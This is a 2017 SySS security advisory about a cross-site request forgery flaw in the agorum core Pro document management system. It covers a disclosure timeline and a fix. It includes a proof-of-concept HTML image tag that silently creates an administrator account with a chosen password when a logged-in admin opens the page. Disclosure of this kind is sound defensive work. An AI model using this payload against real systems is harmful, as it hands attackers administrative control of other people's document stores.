Agorum Core Pro 7.8.1.4-251 Cross Site Request Forgery
Posted on 14 April 2017
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2017-008 Product: agorum core Pro Manufacturer: agorum Software GmbH Affected Version(s): 7.8.1.4-251 Tested Version(s): 7.8.1.4-251 Vulnerability Type: Cross-Site Request Forgery (CWE-352) Risk Level: Medium Solution Status: Open Manufacturer Notification: 2017-02-06 Solution Date: 2017-04-06 Public Disclosure: 2017-04-12 CVE Reference: Not yet assigned Author of Advisory: Sascha Grimmeisen & Dr. Erlijn van Genuchten, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: agorum core Pro is a module based Document Management System. It allows the customer to buy only required modules and can be extended when needed. Due to missing protection mechanisms, the web application component is vulnerable to cross-site request forgery (CSRF) attacks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The tested web application component offers no protection against cross- site request forgery (CSRF) attacks. This kind of attack forces end users respectively their web browsers to perform unwanted actions in a web application context in which they are currently authenticated. CSRF attacks specifically target state-changing requests, for example in order to enable or disable a feature, and not data theft, as an attacker usually has no possibility to see the response of the forged request. In general, CSRF attacks are conducted with the help of the victim, for example by a user visiting an attacker-controlled URL sent by e-mail in its web browser. Often, cross-site request forgery attacks make use of cross-site scripting attacks, but this is not mandatory. CSRF attacks can also be performed against a web application if a victim is only visiting an attacker-controlled web server. In this case, the attacker-controlled web server is used to generate a specially crafted HTTP request in the context of the user's web browser which is then sent to the vulnerable target web application. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following HTML file containing a web form generates a simple crafted HTTP POST request that can be used to add an administration user to the web application in the context of an administrative user. PoC HTML file to add an administration user 'ADDEDUSER' with the password 'PASSWORD123': <html> <body> <img src="https://[HOST]/roiwebui/roiwebui_module/genericEditMaskSaveAction.do?interSaveIdent=¤tTabName=&attribute(name)=ADDEDUSER&attribute(aliases)=&attribute(credentialManager)=roi&attribute(passWord1)=PASSWORD123&attribute(passWord2)=PASSWORD123&attribute(adminEnabled)=on&attribute(description)=&attribute(familyName)=ADDEDUSER&attribute(givenName)=GmbH&attribute(emailAddress)=ADDEDUSER@EXAMPLE.COM&attribute(sendingEmailAddress)=&attribute(language)=de&attribute(mandatorIdentifier)=&attribute(defaultRole)=&attribute(associatedRole)=&folderId=1002356&portalTabNumber=1004&myTabNumber=1005&editMaskName=UserObjectEditMask&portalTabNumber=1004&attribute(selectedTab)=2"> </body> </html> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to agorum core 7.11.3. [4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2017-01-30: Vulnerability discovered 2017-02-06: Vulnerability reported to manufacturer 2017-04-06: Public disclosure 2017-04-06: Fix confirmed by manufacturer 2017-04-12: Vulnerability published ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for agorum Software GmbH http://mein-dms.agorum.com/ [2] SySS Security Advisory SYSS-2017-008 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-008.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ [4] Agorum Change Log https://d4w.agorum.com/roiwebui/files/520986548/Changelog.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Erlijn van Genuchten and Sascha Grimmeisen of SySS GmbH. E-Mail: erlijn.vangenuchten@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Erlijn_van_Genuchten.asc Key ID: 0xBD96FF2A Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A E-Mail: sascha.grimmeisen@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sascha_Grimmeisen.asc Key ID: 0xD3D9C868 Key Fingerprint: 4937 7FCF BA8E 3D80 1AAD 4AC4 7C1D E510 D3D9 C868 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCgAGBQJY71tAAAoJEAylhje9lv8qpNAP/2/JOZLIfk3g9Q3nHxaoJ3H1 QvrDeemRNZ99xRQsYKiYqV+iuPKq8pVe9iPvCAS79KyS8eRRLMOAh3xq3hc3ShJ8 hJUEi/Vr33DHn1gR1osj3rcDzHWKP7M2UlxZDCLVQP/B9nh0zMRtKAdHeYUFfYVB Qzkf9QnJo4FXOliosmk1aeY/y4yh2OEhI/HAldxKjv7W4zXBenvsuoULgsx7PD5Y dZZ4EIqSn+3Jaarx25vj09+qcJ/JAUCslNjVzLXTfw4WQlFgyQKe4EitlZVh2Zk2 F8WXBIfzuxVeyqNrZWF7JQ7bOOZTXtyRs3VlL0pTd4l7E2luW4iFs028LClS/8lg pxL0EF8tlEv83fjxgE6xmdvrH1T5CpTOVE1FyFZ/Hru+l0W6e0GGvtn81AioBM4H au2ntMxU6ru2TQZkQlHJaC/1JpdyjjU/oV4TsuGUEKxedH5c5eFF7psIIxI+ploO t4MGVu/Dk/oZD+cD/ER8RShGV7RU1LhyixCMRdaUeq+LbXLmKl+ej0Z0PZ2kjTJv IqB9fwWAA34Q+iK9m3tz6Y70ghT9gRUV1eYk2wD0SBLdSrAEg8ycBBzWVwgcrMaG lFVju8fN9Od/3qVfItFwOI4Q/BhG8Xu8b0Y19CLKYhlDAYHTtbdSxxD8BQB5bj3S 3+xhgWYuQ3pcXA0o8qz4 =i+Bj -----END PGP SIGNATURE-----
